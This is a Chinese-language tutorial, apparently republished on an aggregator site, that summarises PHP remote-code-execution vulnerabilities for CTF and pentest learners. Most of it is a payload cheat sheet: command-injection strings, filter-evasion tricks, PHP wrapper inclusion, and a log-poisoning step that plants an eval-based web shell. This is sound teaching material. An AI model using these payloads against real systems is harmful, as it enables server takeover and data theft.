rce知识点

news/2026/1/19 20:19:33/文章来源:https://www.cnblogs.com/Xie02/p/19503615

一、RCE漏洞核心概念

RCE(Remote Code Execution)即远程代码执行漏洞,指Web应用因代码/命令执行函数使用不当,导致攻击者可构造特定输入(payload),让服务端执行非预设的系统命令或脚本,进而实现数据窃取、服务器控制等恶意操作。

RCE主要分为两类:

  1. 代码执行漏洞:因eval()、assert()、call_user_func()等PHP代码执行函数使用不当引发。当用户输入未过滤直接传入这类函数时,攻击者可注入恶意代码并被服务端执行。
  2. 命令执行漏洞:因system()、exec()、passthru()等系统命令执行函数未做输入校验导致。攻击者可通过构造输入,让服务端执行操作系统命令。

基础漏洞示例(PHP):

error_reporting(0);
if(isset($_GET['cmd'])){$cmd = $_GET['cmd'];eval($cmd); // 未过滤用户输入,存在代码执行漏洞
}else{highlight_file(__FILE__);
}

二、核心命令执行方式

针对命令执行漏洞,攻击者可通过以下方式触发命令执行:

  1. 系统函数直接调用

    • system函数:执行系统命令并输出结果,如 ?cmd=system("ls /");
    • passthru函数:与system功能类似,如 ?cmd=passthru("cat /etc/passwd");
    • 反引号+echo:反引号内命令执行后无输出,需echo辅助,如 ?cmd=echo tac flag.txt;
  2. 常用测试与操作命令

    • 漏洞验证:?cmd=phpinfo();(查看PHP环境,确认disable_functions等关键信息)
    • 目录遍历:?cmd=ls;(ls被过滤时可用dir替代)
    • 文件读取:
      • cat/tac:?cmd=cat flag.php(结果需查看页面源码,cat被过滤可用tac、nl、uniq替代)
      • base64编码读取:?cmd=base64 /flag.txt(避免字符过滤,解码后获取内容)
      • 命令绕过读取:?cmd=/bin/c?t f????.php(通配符替代敏感字符)
    • 文件操作:
      • 重命名:?cmd=mv fl*g.php 1.txt(将PHP文件改为可直接访问的TXT文件)
      • 内容复制:?cmd=cp flag.php 2.txt(复制敏感文件后访问2.txt)

三、常见过滤绕过方法

实际场景中,目标会对敏感字符、命令、函数进行过滤,需针对性绕过:

1. 文件名过滤绕过

  • 通配符匹配:?cmd=system("tac fl*g.txt");(*匹配任意字符)
  • 空字符分隔:?cmd=system("tac fla''g.txt");(空字符规避关键字匹配)
  • 转义字符:?cmd=system("tac fl\ag.txt");(\转义敏感字符)
  • 单字符占位:?cmd=system("tac f?????.txt");(?匹配单个任意字符)

2. 空格过滤绕过

空格是命令分隔的核心,被过滤时可用以下替代:

  • URL编码:?cmd=system("tac%20flag.txt");(%20是空格的URL编码)
  • 制表符:?cmd=system("tac%09flag.txt");(%09是水平制表符)
  • 环境变量:?cmd=system("tac$IFS$9flag.txt");($IFS是系统分隔符,$9为空占位)
  • 输入重定向:?cmd=system("tac<fl*g.txt");(<替代空格实现命令与文件关联)

3. 命令/字母过滤绕过

  • 空字符拆分命令:?cmd=system("ta''c flag.txt");(拆分tac为ta''c)
  • 取反构造命令:PHP中按位取反可将字符转换为无字母形式,示例:
    // 生成phpinfo()的取反编码
    $func = 'phpinfo';
    echo urlencode(~$func); // 输出取反后的URL编码,用于构造payload
    
  • ASCII码替代:利用Bash的字符转义机制,如 ?cmd=$'\154\163'(\154\163对应ls的ASCII八进制)

4. 函数过滤绕过

  • 反引号执行:?cmd=whoami;(反引号等价于shell_exec(),规避函数检测)
  • 动态函数调用:?cmd=call_user_func('system','cat /flag');(call_user_func()动态调用被过滤的函数)
  • 伪协议读取:结合文件包含漏洞,如 ?cmd=include($_GET[x]);&x=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php(php://filter伪协议读取文件源码)
  • 日志包含:利用Web日志记录请求头的特性,在UA头注入木马后包含日志:
    ?cmd=include../../../../var/log/nginx/access.log
    User-Agent:<?php eval($_POST['pass']);?>
    

5. 目录/文件遍历绕过

  • 函数嵌套枚举目录:?cmd=show_source(scandir(getcwd())[2]);(getcwd()获取当前目录,scandir()列出文件,show_source()显示源码)
  • 指针操作读取文件:?cmd=show_source(current(array_reverse(scandir(getcwd()))));(反向遍历目录,读取最后一个文件)

6. 命令分隔符替代

默认分隔符(;、&)被过滤时,可用以下符号分隔多条命令:

  • |:仅执行后一条命令,如 ?cmd=invalid|ls /
  • ||:仅执行前一条成功的命令,如 ?cmd=ls /||invalid
  • %0a:换行符(URL编码),如 ?cmd=ls%0a/tmp
  • &&:前一条执行成功后执行后一条,如 ?cmd=cd /&&ls

四、其他绕过技巧

  1. 变量作用域劫持:利用PHP变量函数获取POST输入并执行,如:
    ?cmd=eval(array_pop(next(get_defined_vars())));
    POST数据:1=system('tac fl*');
    
  2. 伪协议拓展
    • php://input:读取POST请求体,如 ?cmd=include$_GET[x]&x=php://input(POST体传入<?php system("ls");?>
    • data://:内嵌数据执行,如 ?cmd=include$_GET[x]&x=data://text/plain,<?php system("tac flag.txt")?>
  3. 替代读取函数:规避highlight_file()过滤,使用show_source()、readgzfile()、require_once()等函数读取文件,如 ?cmd=readgzfile("/flag.txt");

总结

  1. RCE核心是利用未过滤的代码/命令执行函数,注入恶意指令实现服务器控制;
  2. 绕过过滤的关键思路是替换敏感字符(通配符、编码)、规避函数检测(动态调用、伪协议)、利用系统特性(环境变量、日志);
  3. 实战中需先通过phpinfo()确认环境限制(disable_functions),再针对性构造payload。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1184878.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

实验小白必看:重组蛋白表达系统怎么选?原核与真核表达系统技术差异全解析

重组蛋白是生命科学研究中最基础、也是最常用的科研试剂之一。从功能蛋白研究、抗体筛选到信号通路分析,重组蛋白的质量和来源直接影响实验结果的可靠性。对于初入实验室的研究人员而言,理解重组蛋白表达系统的技术差…

select chain_id,num_waiters,in_wait_sesc,osid,blocker_osid,substr(wait_event_text,1,30) from v$wait_

Oracle 数据库中用于实时诊断阻塞&#xff08;锁等待&#xff09;链的核心视图 V$WAIT_CHAINS 中的关键信息。这条查询能清晰地展示“谁在等谁”的关系链&#xff0c;是DBA定位数据库卡顿、挂起问题的利器。为了方便你理解&#xff0c;下表详细解释了查询中的每个字段&#xff…

【工具变量】国家数据知识产权试点DID(2000-2025年)

国家知识产权局在2022年11月启动首批数据知识产权地方试点&#xff0c;明确试点地为&#xff1a;北京、上海、江苏、浙江、福建、山东、广东、深圳&#xff0c;试点期限为2022年11月—2023年12月。2023年12月确定了第二批试点地区&#xff1a;在上述8地基础上&#xff0c;新增天…

Spring AI学习:基本配置聊天客户端

创建spring boot项目并选择ai功能: spring boot版本不能过高,4.x.x暂时不支持ai 非本地部署可以使用openai,本地部署可以使用ollama。对应的,在创建项目初(上一步)选择的ai功能需与客户端一致。 配置基本如下: …

15款甘特图软件推荐|覆盖敏捷/瀑布管理,助力高效项目排期

甘特图作为项目管理的核心工具&#xff0c;能直观呈现任务时序、依赖关系与进度状态&#xff0c;选对工具可让团队效率翻倍。以下15款软件涵盖免费开源、轻量协作、企业级管控等多种类型&#xff0c;在功能深度、场景适配性上各有侧重&#xff0c;适配不同规模团队与行业需求&a…

【扫盲】什么是coze

Coze (中文名“扣子”) 是由字节跳动推出的 一站式AI智能体(Bot)开发与服务平台。它的核心目标是通过低代码/零代码的方式,让用户无需编写复杂代码,就能快速创建和部署AI应用。 为了方便你快速理解它和之前提到的L…

实时知识增强大模型:基于Flink的流式向量索引与动态RAG系统

摘要&#xff1a;本文揭秘面向大模型应用的实时数据流处理架构&#xff0c;通过Flink CDC Milvus增量索引 动态Prompt注入技术&#xff0c;实现知识库分钟级更新与查询零延迟。创新的时间感知向量编码与热点数据预加载算法使知识新鲜度从T1提升至T5分钟&#xff0c;查询P99延…

【数据集】世界各国经济政策不确定性指数数据集(1985.1-2026.1)

经济政策不确定性指经济主体&#xff08;企业、居民、投资者&#xff09;对政府经济政策的方向、力度、持续时间与实施方式无法形成稳定预期&#xff0c;从而产生的“不确定感”。经济政策不确定性指数是把“政策不确定性”这种抽象概念量化成可用于计量研究的时间序列&#xf…

数据不会说话?宏智树 AI:一键解锁论文实证分析的硬核密码

还在为论文里一堆数据 “无从下手” 而焦虑&#xff1f;收集了上百份问卷却只会做简单计数&#xff0c;跑了几十组实验数据却挖不出核心规律&#xff0c;好不容易算出结果&#xff0c;又不知道怎么转化为学术论证&#xff1f;作为深耕论文写作科普的博主&#xff0c;我发现宏智…

samp-cef 食用指南

samp-cef samp 侠盗猎车手:圣安地列斯多人联机工具的嵌入式chromium内核浏览器。 前提 客户端:samp版本 0.3.7-R1 和 0.3.7-R3 或 omp-launcher 从0.3.7-R1和0.3.7-R3 启动即可 cef插件: cef.asi,client.dll cef 文件…

大数据基于python+Vue的老年人健康数据远程监控数据可视化分析系统 t2w0v3wq

目录系统概述技术架构核心功能应用价值开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;系统概述 该系统基于Python与Vue框架开发&#xff0c;面向老年人健康数据远程监控与可视化分析。通过…

【VPX611】基于6U VPX总线架构的SATA3.0高性能数据存储板(3.2GByte/s存储带宽)

板卡概述VPX611是一款基于6U VPX总线架构的高性能数据存储板&#xff0c;该板卡采用2片Xilinx Kintex-7系列FPGA作为主控单元&#xff0c;FPGA内嵌RAID控制器&#xff0c;最大支持8个mSATA盘&#xff0c;最大存储容量可以达到8TByte&#xff0c;持续数据写入带宽可以达到3.2GBy…

在windows上从低版本VTK到9.5版本升级遇到的问题总结

错误 LNK2001 无法解析的外部符号 vtk_glad_glTexParameteri 原因: 在 VTK 9.0 中,你可能链接的是 vtkglew 相关的库,而到了 VTK 9.5,许多 OpenGL 函数(如 glTexParameteri)被封装在了 vtkglad 模块中。报错说明你的项目链接器找不到 vtk_glad_glTexParameteri 的实现。…

python鲜花销售系统 网上鲜花商城系统商家

目录鲜花销售系统摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;鲜花销售系统摘要 网上鲜花商城系统为商家提供高效便捷的线上销售平台&#xff0c;整合订单管理、库存跟踪、客户服务等…

详细介绍:如何使用 C# 为 PDF 文档添加水印

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

十年深耕,北森劳动力管理持续领跑!

在中国企业迈向高质量发展的进程中&#xff0c;劳动力管理正从“基础考勤工具”升级为支撑业务效率、成本管控与组织韧性的关键系统。面对用工结构复杂化、劳动合规要求提升、劳动密集型企业的一线员工体验诉求增强的多重挑战&#xff0c;真正成熟、可靠、可规模化的劳动力管理…

python鸟类保护知识科普在线学习系统 活动报名系统 微信小程序设计与实现

目录鸟类保护知识科普在线学习系统与活动报名微信小程序设计与实现摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;鸟类保护知识科普在线学习系统与活动报名微信小程序设计与实现摘要 针…

追求极致纯净与营养?这款新西兰有机娟姗鲜牛奶,重新定义“鲜”的标准-Newo纽渥有机娟姗鲜牛奶 - 行业调研院

在追求健康生活的今天,一杯高品质的鲜牛奶,已成为许多家庭的每日必需品。面对市场上琳琅满目的选择,如何找到一款真正纯净、营养、且能便捷享用的鲜奶?今天,我们深入剖析一款来自新西兰的高端产品——Newo纽渥有机…

基于微信小程序宠物服务系统(源码+论文+部署+安装)

感兴趣的可以先收藏起来&#xff0c;还有在毕设选题&#xff0c;项目以及论文编写等相关问题都可以给我留言咨询&#xff0c;我会一一回复&#xff0c;希望可以帮到大家。一、程序背景随着宠物经济蓬勃发展&#xff0c;宠物服务行业从传统交易、基础洗护&#xff0c;拓展至托运…

vue基于python的社区车辆停车场车位管理系统

目录社区车辆停车场车位管理系统摘要开发技术路线相关技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 &#xff1a;文章底部获取博主联系方式&#xff01;社区车辆停车场车位管理系统摘要 该系统基于Vue.js前端框架与Python后端技术构建&#xff0c;旨在实现社…